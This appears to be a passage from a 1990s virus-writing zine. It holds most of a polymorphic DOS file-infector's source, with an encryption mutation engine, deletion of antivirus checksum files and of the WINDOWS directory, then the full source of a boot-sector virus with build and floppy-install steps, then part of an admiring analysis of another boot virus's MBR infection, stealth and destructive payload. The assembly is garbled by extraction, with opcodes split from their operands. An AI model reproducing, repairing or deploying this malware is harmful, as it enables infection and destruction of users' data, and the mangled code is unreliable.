mov bx,[Handle] call Manipular_SFT mov mov mov int

ah,40h cx,Largor dx,offset CopiaVir 21h

; Stack virus at the end

mov word ptr es:[di+015h],00 mov word ptr es:[di+017h],00

; Set pointer to start simply by ; resetting the pos set in SFT

mov ah,40h

; Write header at the beginning

mov cx,01ah mov dx,offset Cabecera int 21h inc word ptr [Contador]

; Another one for the list

mov cl,byte ptr [Atributos] mov byte ptr es:[di+4],cl

; Return Original Attribs

call PongoFecha

; Restore Date and Time set

Cerrar: mov ah,3eh int 21h

; Close file

PopAll: push cs pop ds mov mov mov int

ds,word ptr [Vieja24h+2] dx,cs:word ptr [offset Vieja24h] ax,2524h 21h ; Restore Error Handler

mov mov mov and int

ax,0fa02h dx,5945h bl,byte ptr cs:[Vsuck] bl,11111011b 21h

JustPOPs: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:[Abuela21h]

; Before ending, clean tracks ; Restore VSAFE's flags ; Turn off write-protected flag ; (cache stuff)

; Pop all regs ;

Contador CopyWrong

dw 0 ; Infection counter db 'VIRUS BELBELBELPARAGUAY BELBELVer. 3.0BEL!$ Programmed by Int13h,' db ' in Paraguay, South America.'

Basura1 Basura2 Basura3 Basura4 CommandCom WindoSucks Salto Vafer Cinco ComOexe FCBTrucho

db 'ANTI-VIR.DAT',0 db 'CHKLIST.MS',0 db 'CHKLIST.CPS',0 db 'AVP.CRC',0 db 'C:\COMMAND.COM',0 db 'C:\WINDOWS',0 db 0e9h,00h,00h db 090h,0cdh,020h db 5 db 'E' db 0ffh db 5 dup(0) db 1fh db 3 db '???????????' db 19h dup(0) Real21h dw 0,0

; Computer disgraces

; ; ; ; ; ; ; ; ; ;

To infect this sucker I'm about to vomit! Puuuaaaaj!! Initial jump at beginning of COM The three original COM bytes So as to randomize decryptor's CX The mark The FCB table to delete WINDOWS dir with all its files and subdirs no matter their attribs.

; Real 21h handler

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Manipular_SFT: Modify opening mode of file and save/change attribs ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Manipular_SFT: push bx mov ax,1220h ; Get Job System Table int 2fh ; in ES:DI mov xor mov int

ax,1216h bh,bh bl,es:[di] 2fh

; Now the File System Table ; for our handle in ES:DI

mov mov mov mov pop ret

cl,byte ptr es:[di+4] byte ptr [Atributos],cl byte ptr es:[di+4],20h byte ptr es:[di+2],2 bx

; ; ; ;

Maldito_Jump7: jmp Muto7 Maldito_Jump8: jmp Muto6 Maldito_Jump9: jmp Muto5 Maldito_Jump10: jmp Muto4

Manipulate SFT Get attribs Attrib = 20h = file Read/write access

; Must I say something about ; 128 byte-jumps still??? :)

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! HIPOCRESIA: Mute decryptor opcode x opcode. Copy heap (between others) ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ HIPOCRESIA: call segmentos DamePalabraRandomica: in ax,40h ; Encryption key or ax,ax je DamePalabraRandomica mov [Clave],ax

Muto1:

in ax,40h mov dx,ax

; Random number from port 40h

cmp al,36 jb Maldito_Jump7 cmp al,72 jb Maldito_Jump8 cmp al,108 jb Maldito_Jump9 cmp al,144 jb Maldito_Jump10 cmp al,180 jb Muto3 cmp al,216 jb Muto2

; ; ; ; ; ; ; ;

mov bx,offset Paso1

; Mute, mute, mute y mute.

Regs selector with which we'll work in the decryptor. This is the beginning, that is where IP which CALL left on the stack will get popped and this way get the delta offset that goes into BP

mov [bx],0582fh mov bx,offset Paso2 mov [bx],02d90h mov bx,offset Paso3 cmp dl,85d jb Little1 cmp dl,170d jb Little12 mov [bx],0c589h jmp Sigo Little1:mov [bx],0fb95h jmp Sigo Little12:mov [bx],0c587h jmp Sigo Muto2: mov bx,offset Paso1 mov [bx],05ef5h mov bx,offset Paso2 mov [bx],0ee81h mov bx,offset Paso3 cmp dl,85d jb Little2 cmp dl,170d jb Little22 mov [bx],0f589h jmp Sigo Little2:mov [bx],0ee87h jmp Sigo Little22:mov [bx],0f587h jmp Sigo Muto3: mov bx,offset Paso1 mov [bx],0593fh mov bx,offset Paso2 mov [bx],0e981h mov bx,offset Paso3 cmp dl,85d jb Little3 cmp dl,170d jb Little32 mov [bx],0cd89h jmp Sigo Little3:mov [bx],0e987h jmp Sigo Little32:mov [bx],0cd87h jmp Sigo Muto4: mov bx,offset Paso1 mov [bx],05b27h mov bx,offset Paso2 mov [bx],0eb81h mov bx,offset Paso3 cmp dl,85d jb Little4 cmp dl,170d jb Little42 mov [bx],0dd89h jmp Sigo Little4:mov [bx],0eb87h jmp Sigo Little42:mov [bx],0dd87h jmp Sigo Muto5: mov bx,offset Paso1 mov [bx],05fcch mov bx,offset Paso2 mov [bx],0ef81h

; DAS / POP AX ; NOP / SUB AX

; MOV BP,AX ; STI / XCHG BP,AX ; XCHG AX,BP

; CMC / POP SI ; SUB SI

; MOV BP,SI ; XCHG BP,SI

-Theyre different opcodes!

; XCHG SI,BP

Thats why we get both

; AAS / POP CX ; SUB CX

; MOV BP,CX ; XCHG BP,CX ; XCHG CX,BP

; DAA / POP BX ; SUB BX

; MOV BP,BX ; XCHG BP,BX ; XCHG BX,BP

; INT 3 / POP DI ; SUB DI

mov bx,offset Paso3 cmp dl,85d jb Little5 cmp dl,170d jb Little52 mov [bx],0fd89h jmp Sigo Little5:mov [bx],0ef87h jmp Sigo Little52:mov [bx],0fd87h jmp Sigo Muto6: mov bx,offset Paso1 mov [bx],05df8h mov bx,offset Paso2 mov [bx],0ed81h mov bx,offset Paso3 mov cx,1 call Ygramul Muto7: mov bx,offset Paso1 mov [bx],05af9h mov bx,offset Paso2 mov [bx],0ea81h mov bx,offset Paso3 cmp dl,85d jb Little7 cmp dl,170d jb Little72 mov [bx],0d589h jmp short Sigo Little7:mov [bx],0ea87h jmp short Sigo Little72:mov [bx],0d587h

Sigo:

; MOV BP,DI ; XCHG BP,DI ; XCHG DI,BP

; CLC / POP BP ; SUB BP ; 2 garbage bytes

; STC / POP DX ; SUB BX

; MOV BP,DX ; XCHG BP,DX ; XCHG DX,BP

xor ax,ax in al,40h mul byte ptr Cinco cmp ax,Largor ja Sigo xchg cx,ax mov ax,Largor sub ax,cx mov bx,(offset Paso7+1) mov [bx],ax mov bx,(offset Paso8+2) mov [bx],cx

; So that CX is more randomic

sub ax,ax in al,40h xchg cx,ax mov ax,offset Jeroglifico sub ax,cx mov bx,(offset Paso4+2) mov [bx],ax mov bx,(offset Paso5+2) mov [bx],cx

; Divide the address from which ; we'll start the decryption

in al,40h cmp al,85 jb Cambia3 cmp al,170 jb Cambia2 mov bx,offset Paso4

; Must be less than wanted value

; On their marks

; Write values into memory

; Select index register

; LEA SI,[BP+XX]

mov [bx],0b68dh mov bx,offset Paso5 mov [bx],0c681h mov bx,offset Paso6 mov [bx],0b956h mov bx,offset Paso9 mov [bx],03481h mov bx,offset Paso10 test al,3 jz MasPoly mov [bx],04646h jmp AlBuffer MasPoly:mov [bx],0acach jmp AlBuffer Cambia2:mov bx,offset Paso4 mov [bx],09e8dh mov bx,offset Paso5 mov [bx],0c381h mov bx,offset Paso6 mov [bx],0b953h mov bx,offset Paso9 mov [bx],03781h mov bx,offset Paso10 mov [bx],04343h jmp AlBuffer Cambia3:mov bx,offset Paso4 mov [bx],0be8dh mov bx,offset Paso5 mov [bx],0c781h mov bx,offset Paso6 mov [bx],0b957h mov bx,offset Paso9 mov [bx],03581h mov bx,offset Paso10 mov [bx],04747h

AlBuffer: mov cx,200d call MuTabla sub dx,dx mov bx,offset Ensuciar Basureo:xor cx,cx mov cx,[bx] inc bx inc bx push bx push dx mov bx,[bx] call Ygramul pop dx pop bx inc bx inc bx inc dx cmp dx,13 jb Basureo mov xor mov rep

cx,(Largor/2) si,si di,offset CopiaVir movsw

; ADD SI,XX ; PUSH SI / MOV CX ; XOR WORD PTR [SI] ; Use other way ; INC SI / INC SI ; LODSB / LODSB ; LEA BX,[BP+XX]

; ADD BX,XX ; PUSH BX / MOV CX ; XOR WORD PTR [BX] ; INC BX / INC BX ; LEA DI,[BP+XX]

; ADD DI,XX ; PUSH DI / MOV CX ; XOR WORD PTR [DI] ; INC DI / INC DI

; Change opcode order in the table ; named MontonDeBasura

; Add random garbage to the decryptor

; Copy virus to heap

mov cx,Cripted ; Encrypt it mov si,(offset CopiaVir+Saltarlos) mov di,si ; To use the decryptor with any mov bx,di ; of the index registers call Desencriptor ; chosen. ret

Ensuciar: dw dw dw dw dw dw dw dw dw dw dw dw dw

09,offset 04,offset 02,offset 06,offset 03,offset 05,offset 02,offset 04,offset 03,offset 07,offset 02,offset 04,offset 08,offset

Paraguay Junk02 Junk03 Junk04 Junk05 Junk06 Junk07 Junk08 Junk09 Junk10 Junk11 Junk12 Junk13

; Locations of the decryptor in ; which we'll insert garbage from ; MontonDeBasura

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! PongoFecha: Restore victims date, and time with secs=60 ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PongoFecha: mov ax,5701h ; Set db 0b9h ; mov cx,time Time dw 0 ; Last modified time and cl,11100000b ; Set as infected or cl,00011110b ; 30*2=60! db 0bah ; mov dx,date Date dw 0 ; Last modified date pushf ; Call handler directly call dword ptr cs:[Real21h] ret ; And return

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Sub-Rutine used for pointer moves up to the end ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ AlFinal:mov ax,04202h ; To the end xor cx,cx cwd ; XOR DX,DX int 21h ret

Segmentos: push cs push cs pop ds pop es ret

; DS:=CS

&

ES:=CS

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! MUTABLA: Exchange the trash opcodes position ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ MuTabla:xor ax,ax

in al,40h test al,1 jz YaEsPar inc al YaEsPar:mov si,offset MontonDeBasura add si,ax mov dx,[si] xor ax,ax in al,40h test al,1 jz Alli inc al Alli: mov di,offset MontonDeBasura add di,ax mov bx,[di] mov [si],bx mov [di],dx loop MuTabla ret

; Random number from port 40h ; Is it even? ; ; ; ;

If not, make it even The table Get a 2 byte-instruction into DX

; Another random number ; If not even, make it even

; ; ; ;

Garbage 2-byte table Get the instruction into bx Exchange its positions

; CX times

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! YGRAMUL: Chose random junk-instructions and put them into memory ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Ygramul:xor di,di ; Garbage intruder Otro: xor ax,ax ; Ygramul, the mutant in Endless Story in al,40h ; Random number test al,1 ; Is it even? jz Aqui inc al ; Nope, add one Aqui: mov si,offset MontonDeBasura add si,ax ; Get the instruction mov ax,si mov dx,[si] mov [bx],dx ; Write it in its position inc bx ; add bx,2 (index) inc bx inc di ; Update the counter cmp di,cx ; Enough? jne Otro ret

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Mont¢nDeBasura: The garbage instruction which variate the decryptor ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ MontonDeBasura: ; garbage heap ; Instrucci¢n Opcode ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä Ä Ä Ä Ä ÄDLE db 087h,0c0h ; xchg ax,ax xchg bx,bx ; 87 DB xchg cx,cx ; 87 C9 xchg dx,dx ; 87 D2 xchg si,si ; 87 F6 xchg di,di ; 87 FF xchg bp,bp ; 87 ED xchg al,al ; 86 C0 xchg bl,bl ; 86 DB xchg cl,cl ; 86 C9 xchg dl,dl ; 86 D2 xchg ah,ah ; 86 E4

xchg bh,bh xchg ch,ch xchg dh,dh cld int 03h nop nop pushf popf push es pop es inc ax dec ax inc bx dec bx inc cx dec cx inc dx dec dx std cld stc clc jmp short $+2 jc $+2 jnc $+2 jz $+2 jnz $+2 jpo $+2 jpe $+2 jno $+2 jg $+2 js $+2 or ax,ax or bx,bx or cx,cx or dx,dx or si,si or di,di or bp,bp or ah,ah or al,al or bh,bh or bl,bl or ch,ch or cl,cl or dh,dh or dl,dl and ax,ax and bx,bx and cx,cx and dx,dx and si,si and di,di and bp,bp and ah,ah and al,al and bh,bh and bl,bl and ch,ch and cl,cl and dh,dh and dl,dl

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

86 86 86 FB CC 90 90 9C 9D 06 07 40 48 43 4B 41 49 42 4A FD FC F9 F8 EB 72 73 74 75 7B 7A 71 7F 78 0B 0B 0B 0B 09 09 09 08 08 08 08 08 08 08 08 23 23 23 23 21 21 21 20 20 20 20 20 20 20 20

FF ED F6

00 00 00 00 00 00 00 00 00 00 C0 DB C9 D2 F6 FF ED E4 C0 FF DB ED C9 F6 D2 C0 DB C9 D2 F6 FF ED E4 C0 FF DB ED C9 F6 D2

mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp

ax,ax bx,bx cx,cx dx,dx si,si di,di bp,bp sp,sp ah,ah al,al bh,bh bl,bl ch,ch cl,cl dh,dh dl,dl ax,ax ax,bx ax,cx ax,dx ax,si ax,di ax,bp bx,ax bx,bx bx,cx bx,dx bx,si bx,di bx,bp cx,ax cx,bx cx,cx cx,dx cx,si cx,di cx,bp dx,ax dx,bx dx,cx dx,dx dx,si dx,di dx,bp si,ax si,bx si,cx si,dx si,si si,di si,bp di,ax di,bx di,cx di,dx di,si di,di di,bp bp,ax bp,bx bp,cx bp,dx bp,si

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

89 89 89 89 89 89 89 89 88 88 88 88 88 88 88 88 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B

C0 DB C9 D2 F6 FF ED E4 E4 C0 FF DB ED C9 F6 D2 C0 C3 C1 C2 C6 C7 C5 D8 DB D9 DA DE DF DD C8 CB C9 CA CE CF CD D0 D3 D1 D2 D6 D7 D5 F0 F3 F1 F2 F6 F7 F5 F8 FB F9 FA FE FF FD E8 EB E9 EA EE

cmp bp,di cmp bp,bp

Omega: HeavyMetal Vsuck HacerStealth Handle Atributos Vieja24h CopiaVir Cabecera

dw db db dw db dd db db

0 0 1 0 0 0 Largor dup('P') 45d dup(0)

; 3B EF ; 3B ED

; ; ; ; ; ; ; ; ;

End of virus on the file Heavy Metal even in RAM ;) Vsafe's flags Flag to make or not the stealth File's key File's attribs 24h's old handler Here will go the encrypted virus We will read the file here

FakeHoste: mov ax,4c00h int 21h

; Turn back to DOS

End Paraguay

; A virus never is finished, just ; abandonated. Now is my time ;)

comment * Designed by "Q" the Misanthrope This virus uses HMA memory extensively. It boots directly into the HMA by the brute force method. It then waits till DOS loads then creates a random file and adds an Install= statement to the CONFIG.SYS that loads the virus again into the HMA (not bad for 512 bytes.) Also works with Windoze 95. tasm hmaboot /m2 tlink hmaboot exe2bin hmaboot.exe hmaboot.com format a:/q/u debug hmaboot.com l 300 0 0 1 w 100 0 0 1 w 300 0 20 1 m 11e,2ff 100 w q copy hmaboot.com c:\BBFNJACD edit c:\config.sys Install=\BBFNJACD altf x y * .286 qseg

segment byte public 'CODE' assume cs:qseg,es:qseg,ss:nothing,ds:qseg

top:

jmp 90h db 512 1 1 2 224 2880 0F0h 9 18 2

short hma_install

org

001eh

proc mov int mov mov push int pop push pop pushf mov push

near ax,3501h ;tunnel to interrupt 21h 21h dx,offset interrupt_1-com_install+100h ah,25h ;set our interrupt 1 routine es 21h ds ;set ds:dx to set int 1 back 00h ;es=00h es ;simulate interrupt stack dx,bx cs ;simulate stack to return to

db dw db dw db dw dw db dw dw dw

com_install

"MSDOS5.0"

push int jmp endp

es 01h dword ptr es:[21h*04h]

;cs:00h that terminates virus ;set interrupt trap bit ;simulate int 21 and trace it

proc pusha mov out in and jnz mov out popa equ mov push

near

;brute force HMA access @ boot

al,0d1h 64h,al al,64h al,02h reloop al,0e3h 60h,al

;for 8042 keyboard controller

$+01h bx,7c00h cs

;trick to get es:si point HMA ;for reading boot sector ;becomes fc0eh for es

pop les mov lea push push push rep si mov rep mov push push mov call mov mov mov push mov rep mov stosb pop pop push call endp

ds ;load es:si=fc0e:7c00 in HMA si,dword ptr ds:[bx+offset es_si-top] cx,offset previous_hook ;loop counter di,word ptr ds:[si] ;source is 0000:7c00 cs bx si movsb ;move it to HMA

near ;read original bootsector si,word ptr ds:[bx+11h] ;from last sector of root si,04h ;directory cx,word ptr ds:[bx+16h] cx,01h cx,si dh,01h

set_cx_dx

proc mov shr mov shl add mov cx sub int retf endp

config_line

db

"C:\Config.Sys",00

com_install hma_install

reloop:

es_si make_hma:

;enable HMA

cld

pop

hma_install set_cx_dx

inc

cl,low((offset previous_hook-top)/2) movsw ;copy it again to HMA si,1ah*04h ;hook interrupt 1ah si es ax,offset interrupt_1a+7e00h-02h hook_interrupt ;hook interrupt into HMA es,cx ;es=0 cx=low mem kernal length cl,low(offset make_hma-hma_install) di,0201h ;for low mem stub and int 13 di si,offset hma_install+7c00h movsb ;HMA enable stub to low mem al,0eah ;far jump ax si cs hook_interrupt

;ax=0201 for int 13 read ;point it 1a to stub ;for far call return ;set int 1a to point to stub

cx,word ptr ds:[bx+18h] 13h ;read it and then jump to it

;what to infect

install_name file_name crlf

db db equ

"Install=" "\",00h $+07h

;what to add ;random file goes here ;a carrage return line feed

interrupt_1

proc pusha sp pop ds push lds cmp jne cmp je mov cmp jb mov mov mov int inc jz push cld mov mov rep pop lea push call xor pop pop popa iret endp

near

;tunnel routine to hook int 21

proc movsw movsw mov mov retf endp

near

proc pushf

near

push push

toggle_tf: go_back:

interrupt_1 hook_interrupt

hook_interrupt interrupt_21 pusha push push pop

ds push cs ds mov mov int mov xchg jc int jcxz

bp es bx,dword ptr ss:[bp+10h];get instruction word ptr ds:[bx+01h],02effh go_back ;was it a far indexed jump byte ptr ds:[bx-0ah],6ah toggle_tf ;was it our code si,word ptr ds:[bx+03h] ;get index of jump byte ptr ds:[si+03h],0f0h go_back ;was it in the HMA bh,high(((tail-com_install+10h)SHR 4)*10h)+01h di,0ffffh ;if so then allocate HMA ax,4a02h ;to load virus into 2fh di ;di=0 if no HMA toggle_tf si ;save location of int 21 chain cx,previous_hook-com_install si,0100h ;copy virus to HMA movs byte ptr es:[di],cs:[si] si ;hook into int 21 chain ax,word ptr ds:[di-(offset previous_hook-resident_21)] cs ;for far call hook_interrupt ;hook in byte ptr ss:[bp+15h],01h;toggle single step flag es ds ;pop all varables ;return

;hook interrupt ;move ds:si to es:di ;4 bytes worth word ptr ds:[si-04h],ax ;hook into ds:si es:ax word ptr ds:[si-02h],es ;return far

;momentary int 21 routine

es

ax,3d42h ;open config.sys dx,offset config_line+7e00h-02h 18h bx,5700h ;get date ax,bx retry_later ;jump if error 18h close_it ;check if infected

inc pusha mov mov mov int jc mov mov mov lea std rep push pop mov int mov mov xchg mov int mov int popa pusha mov

ax

;for set date later ;save it ;allocate lower memory for ;disk write to config.sys

push pop int mov mov mov mov int mov int popa sub int mov int lds jmp jmp endp

dx cx 18h ah,40h ;write install= line and crlf word ptr ds:[crlf+7e00h-02h],0a0dh cl,low(crlf-install_name+02h) dx,offset install_name+7e00h-02h 18h ;add line to config.sys ah,49h ;deallocate memory 18h ;get file date cx,cx ;mark that it is infected 18h ah,3eh ;close config.sys 18h dx,dword ptr ds:[previous_hook+7c00h] short set_int_21 ;unkook int 21 short jmp_pop_it

proc pushf

near

;interrupt 1a hook at startup

mov ds es

ax,1200h

;dos loaded yet?

int inc jnz mov mov mov les mov

2fh al jmp_pop_it ds,dx ;if so then unhook int 1a and si,21h*04h ;hook int 21 and set int 18 di,offset previous_hook+7c00h bx,dword ptr cs:[previous_hook+7e00h-02h] ds:[si-((21h-1ah)*04h)],bx

ah,48h bx,0888h cx,bx 18h popa_close_it es,ax ;new segment to copy virii to dx,offset file_name+7e00h-02h di,dx ;ds:dx points to virii name si,word ptr ds:[di] movsw ;move the virus to low mem es ds ah,5ah ;create random file 18h dx,offset com_install+7c00h bh,40h ;now write it ax,bx ch,02h ;at least 512 bytes worth 18h ah,3eh ;close it 18h ;get handle of config.sys ;push it again ax,4202h ;goto the end of config.sys

cwd

popa_close_it:

close_it: set_21_back: retry_later: interrupt_21 interrupt_1a pusha push push cwd

les

cld pop movsw

set_int_21: jmp_pop_it: interrupt_1a

resident_21

next_line:

pop_it:

mov ds:[si-((21h-1ah)*04h)+02h],es bx,dword ptr ds:[si] mov ds:[si-((21h-18h)*04h)+02h],es mov ds:[si-((21h-18h)*04h)],bx push cs es movsw mov push pop mov int jmp endp

;hook in int 21 dx,offset interrupt_21+7c00h cs ds ax,2521h ;set int 21 18h short pop_it

org

001aeh

proc pushf pusha push push cmp jne mov pushf push call or jnz call pop add push mov pop push mov cwd pop int jc mov org jmp cmp je mov pusha push call xchg cld mov lea lea rep popa int pop pop

near

;resident int 21 routine

ds es ah,38h pop_it ah,19h

;infect on get country code ;see if drive a:

cs far_jmp al,al pop_it ;if not then don't infect next_line ;get offset in HMA bx bx,offset vbuffer-next_line cs cx,0001h ;read boot sector es cs ax,0201h ds 13h pop_it di,0000h $-02h $(hma_install-top) di,word ptr ds:[bx] pop_it ax,0301h cs set_cx_dx di,word ptr ds:[bx]

;any errors then leave ;move di the jmp instruction ;at the start of the virii ;check if it is infected ;if so then leave ;move old boot sector

;for far call ;write old boot sector ;put jmp in boot sector ;copy virii to boot sector cx,previous_hook-com_install si,word ptr ds:[bx-offset (vbuffer-com_install)] di,word ptr ds:[bx+com_install-top] movsb ;write virus 13h es ;clean the stack ds

popa popf resident_21

endp org

001fdh near 0eah double

;jump to previous hook

previous_hook: far_jmp

proc db label endp

boot_signature

dw

0aa55h

;boot sector thingy

org label org label

$+02h byte $+0202h byte

far_jmp

vbuffer tail qseg

ends end

;where the reads/writes are ;the end

comment * Virus spotlite: Padanian Warrior 1 by b0z0/iKx, Padania 1997

Virus Name AV Name Origin Type Lenght

: : : : :

Padanian Warrior 1 IntCE (AVP), Int_CE (F-Prot) Padania Boot infector one sector

Virus Description: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ This is a very cool boot virus that infects the MBR of the hard disk and infects any floppy disk that is accessed via DOS. This boot virus is extremely compact and implements a lot of interesting methods and tricks. The Padanian Warrior 1 in fact: -> Doesn't allocate memory -> Infects the MBR using ports -> Makes booting from a floppy quite hard -> Uses the 18_tech -> Uses 386 instructions -> Full stealth on MBR -> Read stealth on floppy boot -> Has a very cool method to activate the payload -> Has a destructive payload Of course as you may suppose due to space restriction (hey, don't say "I may do that 25 bytes shorter" :) ) there are also some bad things in this virus, but these will be shown later. Now let's examine deeper every aspect of this cool virus... Virus residency: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ The virus uses a quite good way of going resident and doing his work. In fact the virus won't allocate as usually some memory but will rather copy itself into an unused part of the Interrupt Vector Table. Since 200h bytes may be too much and may cause some problems with the interrupts (since you may have to find a place with 80h unused ints) the virus will use just a little (3Ch bytes) part of the IVT. Here the virus will copy just the vital part of itself (this is the interrupt handler) that will provide when necessary to load the rest of the virus body. The virus will be copied always from 0:300 up to 0:33Ch. Another good trick that the virus uses is to use a piece of the copied part to call the original interrupt vector. In fact the virus will store the old interrupt vector in the dword at 0:338h. This of course will be used to chain the call to the original interrupt handler (doing a jmp far). But on the other side the dword at 0:338h is also the dword for the seg:off of the interrupt number 0CEh. So the virus instead of doing some space-consuming calls or something will just call the interrupt 0CEh when it will need to do a call to the original Int13h (AV name came just from this use of the 0CEh interrupt). As already mentioned the virus uses the 18_tech (look in Xine #2 for more explanations about this), so it won't issue any problem using windows and will be less AV-noticeable.

Padanian Warrior interrupt handler: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Since it uses 18_tech at first it needs to correct in some way the stack. Of course the VW decided to do the work simply with an add (instead of popping

like a good school boy :) ) and this is also a good antitrace. The handler will check for reads or writes on the first sector of disks and floppyes. When one interesting call is encountered the virus will save 400h bytes from the user's buffer (this is from ES:BX) to a buffer on the hard disk (two sectors after the virus body on the disk). Then the virus will load its entire body in the user's buffer from the hard disk and will jump (push seg:off and do a retf) to the just readed infection/stealth part. If the user requested a write on the MBR the virus will just change the call to a disk reset, if a read on the MBR occours the virus will return the original MBR, if a write on a floppy occours the virus will just leave it to proceed and finally if a read on the floppy is requested the virus will infect it and then will stealth the read returning a normal DOS boot. Of course the data that is returned for the stealth is written on the previsiously mentioned hard disk buffer. Infact at the end of the work the virus will jump back to the virus body permanently in memory and will just reread to ES:BX the hard disk buffer (that may have been changed also by the stealth routines).

MBR infection and new MBR manipulation: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ The MBR infection is done at the boot from an infected floppy disk. To determinate if the virus is already present on the hard disk it will check if the first partition starts at sector 1 (very common). If it starts somewhere else (because it is already infected or for some other user's reason) the virus quits the MBR infection routine. First of all the virus will save itself and the original MBR on two sectors starting from 0,0,5 (cyl,side,sector) on the hd. Then it will change the partition table of the 'new' MBR in this way: ÖÄÄÄÄÒÄÄÄÄÄÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· º N. º TYPE º Partition start º º º º C / H / S º ÇÄÄÄÄ×ÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ º 1 º orig º 0 / 0 / 5 º º 2 º ext. º 0 / 0 / 4 º ÓÄÄÄÄÐÄÄÄÄÄÄÐÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ So the first entry (the orig in type means that it will just leave the same as it was before) will point to the virus body on the disk (so it will be loaded at each boot from that hard disk). The second partition will point to another modified MBR copy that the virus will put on the disk. In this second modified MBR (at 0,0,4) the virus will just leave one extended partition that will point to the same sector (this is to again to 0,0,4). So if the user will try to do a boot from a clean floppy disk DOS will go in an infinite loop looking for some other extended partition :) Of course if the virus is active the MBR stealth provides to give the saved good MBR when needed. Just some specific versions of DOS are able to boot from an infected PC. To avoid some BIOS virus protections the virus uses ports to write to the MBR. The routine to do this is incredibly short and efficent. It consist of a first part where the virus initializes the controller to the write (this is just a loop using a table for the initialization sequence) and then after a pause it will send the 200h bytes that must be written.

Floppy infection and stealth:

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ The virus won't save the original boot but it will just overwrite the original one with the virus body. It will preserve just the original serial number of the floppy. It won't even copy the BPB, but will just use the one from the first generation (that moved around with the virus :) ) that is part of the virus body. To see if the floppy is infected it will check the payload word (this is at 20h of the boot sector). If this is different than zero (set at formattation) then probably is already infected. As for stealth the virus will just give to the user a copy of the sector from the hard disk from 0,1,1 after coping the original BPB from the floppy disk to the right place. This stealth method counts on the fact that usually DOS is installed at 0,1,1 so there may be a good DOS boot sector to be used for stealth.

